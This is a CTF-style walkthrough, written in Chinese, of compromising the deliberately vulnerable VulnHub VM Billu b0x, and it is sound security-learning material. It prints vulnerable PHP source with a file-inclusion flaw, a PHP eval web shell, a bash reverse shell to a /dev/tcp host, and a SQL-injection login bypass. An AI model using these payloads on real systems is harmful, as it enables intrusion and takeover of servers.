'VulnHub Billu b0x Walkthrough'

1. Goal

This Virtual machine is using ubuntu (32 bit)

Other packages used: -

  • PHP
  • Apache
  • MySQL

This virtual machine is having medium difficulty level with tricks.

One need to break into VM using web application and from there escalate privileges to gain root access

For any query ping me at https://twitter.com/IndiShell1046

Enjoy the machine

2. Web

Nmap

开放22端口和80端口

访问http://192.168.126.163

是个登录页面,Show me your SQLI skills,展示你的SQL注入技巧

用dirbuster和dirb目录扫描,顺便测注入

目录扫描得到很多地址,甚至还有PHPMyadmin的地址

1
2
3
4
5
6
7
8
http://192.168.126.163/add
http://192.168.126.163/c
http://192.168.126.163/head
http://192.168.126.163/index
http://192.168.126.163/panel
http://192.168.126.163/phpmy/
http://192.168.126.163/show
http://192.168.126.163/test

挨个查看各页面的内容,在test里发现可以传参file

通过POST方式传文件名,可以下载任意文件

将目录扫描获得web页面源码都下载下来

c.php里找到数据库的用户名、密码billu:b0x_billu,当前数据库

通过PHPMyadmin登录,查看网站数据库ica_lab,找到index.php的登录用户名、密码biLLu:hEx_it

登录之后,跳转到panel.php页面

panel.php源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
<?php
session_start();

include('c.php');
include('head2.php');
if(@$_SESSION['logged']!=true )
{
header('Location: index.php', true, 302);
exit();

}



echo "Welcome to billu b0x ";
echo '<form method=post style="margin: 10px 0px 10px 95%;"><input type=submit name=lg value=Logout></form>';
if(isset($_POST['lg']))
{
unset($_SESSION['logged']);
unset($_SESSION['admin']);
header('Location: index.php', true, 302);
}
echo '<hr><br>';

echo '<form method=post>

<select name=load>
<option value="show">Show Users</option>
<option value="add">Add User</option>
</select>

&nbsp<input type=submit name=continue value="continue"></form><br><br>';
if(isset($_POST['continue']))
{
$dir=getcwd();
$choice=str_replace('./','',$_POST['load']);

if($choice==='add')
{
include($dir.'/'.$choice.'.php');
die();
}

if($choice==='show')
{

include($dir.'/'.$choice.'.php');
die();
}
else
{
include($dir.'/'.$_POST['load']);
}

}


if(isset($_POST['upload']))
{

$name=mysqli_real_escape_string($conn,$_POST['name']);
$address=mysqli_real_escape_string($conn,$_POST['address']);
$id=mysqli_real_escape_string($conn,$_POST['id']);

if(!empty($_FILES['image']['name']))
{
$iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);
$r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);
$image=array('jpeg','jpg','gif','png');
if(in_array($r,$image))
{
$finfo = @new finfo(FILEINFO_MIME);
$filetype = @$finfo->file($_FILES['image']['tmp_name']);
if(preg_match('/image\/jpeg/',$filetype ) || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype ))
{
if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name']))
{
echo "Uploaded successfully ";
$update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')';
mysqli_query($conn, $update);

}
}
else
{
echo "<br>i told you dear, only png,jpg and gif file are allowed";
}
}
else
{
echo "<br>only png,jpg and gif file are allowed";

}
}


}

?>

页面有2个功能,查看当前用户、添加用户

添加用户时,可以上传图片,格式验证有2次,第一次验证文件后缀名,第二次验证MIME,由于是白名单,无法绕过,只能上传图片马,结合其他代码进行包含

当传入参数continue时,$dir会被通过getcwd()获取当前工作目录,同时第二个传参load会在将./替换为空之后赋给choice

$choice=='add'时,包含add.php
$choice=='show'时,包含show.php
其他情况下,包含load提交文件,此时可以包含之前上传的图片马

包含图片马,可以执行phpinfo();但是无法执行exec之类的命令,用菜刀连接返回200

菜刀不行,换成蚁剑,添加请求头和Body

连接成功

所以为什么不可以在页面直接执行命令。

3.Server

查看权限

刚开始用PHP可以反弹shell,但是主动断掉一次之后,不管用什么方法都返回ret=2,手贱

/var/www里的文件,在phpmy里看到配置文件config.inc.php

看到一组密码root:roottoor,试着在PHPMyAdmin登录root用户,但是无法登录,用ssh登录成功

获得root权限

4.总结

1.蚁剑相比菜刀,可以配置各种请求头和请求Body,更灵活

2.ret=2不知道是什么情况

3.在页面无法直接执行命令,只能执行个phpinfo,后面重新开了个靶场进行测试,发现是我忘记三个执行系统命令的函数的特性了。exec()是返回最后一个结果,并不显示,需要配合echo来显示,显示效果如下:

单独使用exec()

配合echo使用exec()

可以看到只显示了最后一个用户的信息,也就是最后一个结果

system()和passthru()都显示所有结果

system()显示效果

passthru()显示效果

配合系统命令执行写WebShell(需要写到有可写入可执行权限的文件夹下)

1
echo '<?php eval($_POST[Windy]);?>' > uploaded_images/shell.php

4.在前面反弹shell的时候,有个报错Bad fd number之前碰到过一次,但是忘记了,这次又查了一次。是/bin/sh链接到dash,可以更改链接为/bin/bash

5.后面看其他人的WriteUp的时候,学到一个新的发现靶机IP地址的新命令arp-scan -l

6.关于网页反弹Shell,我没有成功,但是在后面看到一个新的反弹姿势

1
echo "bash -i >& /dev/tcp/192.168.126.126/6666 0>&1" | bash

需要将payload经过URL编码,而且发送的速度很慢,可能是我电脑性能的问题。反弹之后的shell有个很好玩的效果,输入任何字符都显示两个,若输入ls,显示llss

7.关于登录时的SQL注入,在看过源码之后,觉得无法闭合引号而觉得没有注入的可能,但看了别人的WriteUp之后,发现是可以用万能密码注进去的

1
'or 1=1-- -\'

需要在用户名和密码都填写Payload

5.参考

[1] sh: 1: Syntax error: Bad fd number 错误

[2] shell Syntax error: Bad fd number 错误解决

[3] 【随笔】菜刀(代码执行)函数和命令执行函数详解及Getshell方法

[4] VulnHub靶机学习——Billu_b0x实战记录

[5] Billu_b0x渗透实战